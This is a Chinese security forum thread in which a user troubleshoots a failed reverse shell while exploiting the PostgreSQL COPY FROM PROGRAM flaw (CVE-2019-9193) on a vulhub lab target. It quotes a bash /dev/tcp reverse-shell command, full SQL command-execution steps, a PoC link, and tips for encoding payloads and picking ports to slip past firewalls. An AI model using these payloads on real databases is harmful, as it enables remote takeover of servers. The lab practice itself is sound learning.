CVE-2019-9193 postgre命令执行

2022-03-25 10:43:23 8 682
vulhub的CVE-2019-9193靶场命令执行为何反弹不了shell,报错
COPY cmd_exec FROM PROGRAM 'bash -i >& /dev/tcp/192.168.31.101/5556 0>&1'
> ERROR:  program "bash -i >& /dev/tcp/192.168.31.101/5556 0>&1" failed
DETAIL:  child process exited with exit code 2


曾经有一次又能反弹shell


还有有些为什么会报must be superuser to COPY to or from an external program问题

有没有精通postgre来解答下

关于作者

smallwang4篇文章34篇回复

评论8次

要评论?请先  登录  或  注册
  • 8楼
    2022-3-25 19:32

    你看你可以执行rce但是不出来 你自己docker就可以 你试试dns能不能出 在看看你执行bash是不是字符转义了,搞一个b64然后解码反弹试试 以及试试别的反弹

  • 7楼
    2022-3-25 10:43
    dllk:

    COPY cmd_exec FROM PROGRAM 'id'; 测试看命令是否能成功执行,同时留意一下目标是什么xi统。看是否是bash符号链接问题,看/bin/sh或/bin/bash之类的行不行查看支持的shell格式 cat /etc/shells然后,反弹的ip使用其他端口 如443 80试试看,看是否有防火墙阻拦

    1
    smallwang:

    vulhub上的环境,可以执行命令,弹不出shell,登录到docker镜像上面是可以正常用bash -i 弹shell的

    2

    换个表名多试试,镜像上面用bash -i和你数据库调用bash -i过程是不一样的,然后你的bash反弹命令后面再多跟一条id命令看会不会有回显输出,同时也测试一下bash其他命令是否可以执行成功 DROP TABLE IF EXISTS cmd_exec222; CREATE TABLE cmd_exec222(cmd_output text); COPY cmd_exec222 FROM PROGRAM 'id'; SELECT * FROM cmd_exec222;

  • 6楼
    2022-3-25 15:15
    dllk:

    COPY cmd_exec FROM PROGRAM 'id'; 测试看命令是否能成功执行,同时留意一下目标是什么xi统。看是否是bash符号链接问题,看/bin/sh或/bin/bash之类的行不行查看支持的shell格式 cat /etc/shells然后,反弹的ip使用其他端口 如443 80试试看,看是否有防火墙阻拦

    1
    Darwin:

    我看这个报错怎么是用户权限不够的意思

    2

    最后一张图片显示是权限不够,但是也是最高权限呀。

  • 5楼
    2022-3-25 15:15
    dllk:

    COPY cmd_exec FROM PROGRAM 'id'; 测试看命令是否能成功执行,同时留意一下目标是什么xi统。看是否是bash符号链接问题,看/bin/sh或/bin/bash之类的行不行查看支持的shell格式 cat /etc/shells然后,反弹的ip使用其他端口 如443 80试试看,看是否有防火墙阻拦

    1

    vulhub上的环境,可以执行命令,弹不出shell,登录到docker镜像上面是可以正常用bash -i 弹shell的

  • 4楼
    2022-3-25 14:54
    dllk:

    COPY cmd_exec FROM PROGRAM 'id'; 测试看命令是否能成功执行,同时留意一下目标是什么xi统。看是否是bash符号链接问题,看/bin/sh或/bin/bash之类的行不行查看支持的shell格式 cat /etc/shells然后,反弹的ip使用其他端口 如443 80试试看,看是否有防火墙阻拦

    1

    我看这个报错怎么是用户权限不够的意思

  • 3楼
    2022-3-25 14:20

    COPY cmd_exec FROM PROGRAM 'id'; 测试看命令是否能成功执行,同时留意一下目标是什么xi统。 看是否是bash符号链接问题,看/bin/sh或/bin/bash之类的行不行 查看支持的shell格式 cat /etc/shells 然后, 反弹的ip使用其他端口 如443 80试试看,看是否有防火墙阻拦

  • 2楼
    2022-3-25 11:24
    Darwin:

    https://github.com/wkjung0624/CVE-2019-9193试试这个

    1

    还是不行。。

  • 1楼